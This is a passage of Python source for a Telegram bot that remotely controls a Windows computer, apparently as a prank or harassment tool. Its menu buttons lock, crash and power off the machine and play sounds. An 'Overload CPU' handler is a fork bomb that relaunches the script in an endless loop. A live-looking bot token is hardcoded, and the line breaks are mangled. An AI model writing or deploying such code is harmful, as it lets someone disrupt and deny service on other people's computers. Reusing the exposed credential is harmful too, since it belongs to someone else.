async def lock_computer(update: Update, context: CallbackContext):
os.system("rundll32.exe user32.dll,LockWorkStation")
await update.message.reply_text("The computer is locked.")

# Function to overload CPU and GPU


async def overload_computer(update: Update, context: CallbackContext):
while True:
subprocess.Popen([sys.executable, sys.argv[0]],
creationflags=subprocess.CREATE_NEW_CONSOLE)

# Function to show the main menu directly when starting


async def start(update: Update, context: CallbackContext):
await show_menu(update, context) # Directly show the main menu on /start

# Function to show the menu


async def show_menu(update: Update, context: CallbackContext):
query = update.callback_query if update.callback_query else update.message #
Determine message or callback query

keyboard = [
[InlineKeyboardButton("Sounds", callback_data='sounds')],
[InlineKeyboardButton("Crash", callback_data='crash')],
[InlineKeyboardButton("Power Off", callback_data='poweroff')],
[InlineKeyboardButton("Lock", callback_data='lock')],
[InlineKeyboardButton("Overload CPU", callback_data='overload')],
[InlineKeyboardButton("Adjust Volume", callback_data='adjust_volume')]
]
reply_markup = InlineKeyboardMarkup(keyboard)

# Corrected isinstance check


if isinstance(query, Message):
await query.reply_text('Select an option:', reply_markup=reply_markup)
else:
await query.answer()
await query.message.edit_text('Select an option:',
reply_markup=reply_markup)

# Main function to run the bot


def main():
application = Application.builder().token('7046184243:AAHL-Tr-
NYbuVvoHqwDcUEthu3EnspF_iPA').build() # Replace 'YOUR_BOT_TOKEN' with your bot's
token

application.add_handler(CommandHandler("start", start))
application.add_handler(CallbackQueryHandler(show_menu, pattern='open_menu'))
application.add_handler(CallbackQueryHandler(adjust_volume,
pattern='adjust_volume'))
application.add_handler(CallbackQueryHandler(set_volume, pattern='vol_\\d+'))
application.add_handler(CallbackQueryHandler(crash_computer, pattern='crash'))
application.add_handler(CallbackQueryHandler(shutdown_computer,
pattern='poweroff'))
application.add_handler(CallbackQueryHandler(lock_computer, pattern='lock'))
application.add_handler(CallbackQueryHandler(overload_computer,
pattern='overload'))
application.add_handler(CallbackQueryHandler(back_to_menu,
pattern='back_to_menu')) # Handle the "Back" button
application.add_handler(CallbackQueryHandler(show_sound_menu,
pattern='sounds')) # Show the sound menu
application.add_handler(CallbackQueryHandler(play_sound, pattern='(radio|boom|
pitido|knock|sigma)')) # Play selected sound

application.run_polling()

if __name__ == '__main__':
main()

You might also like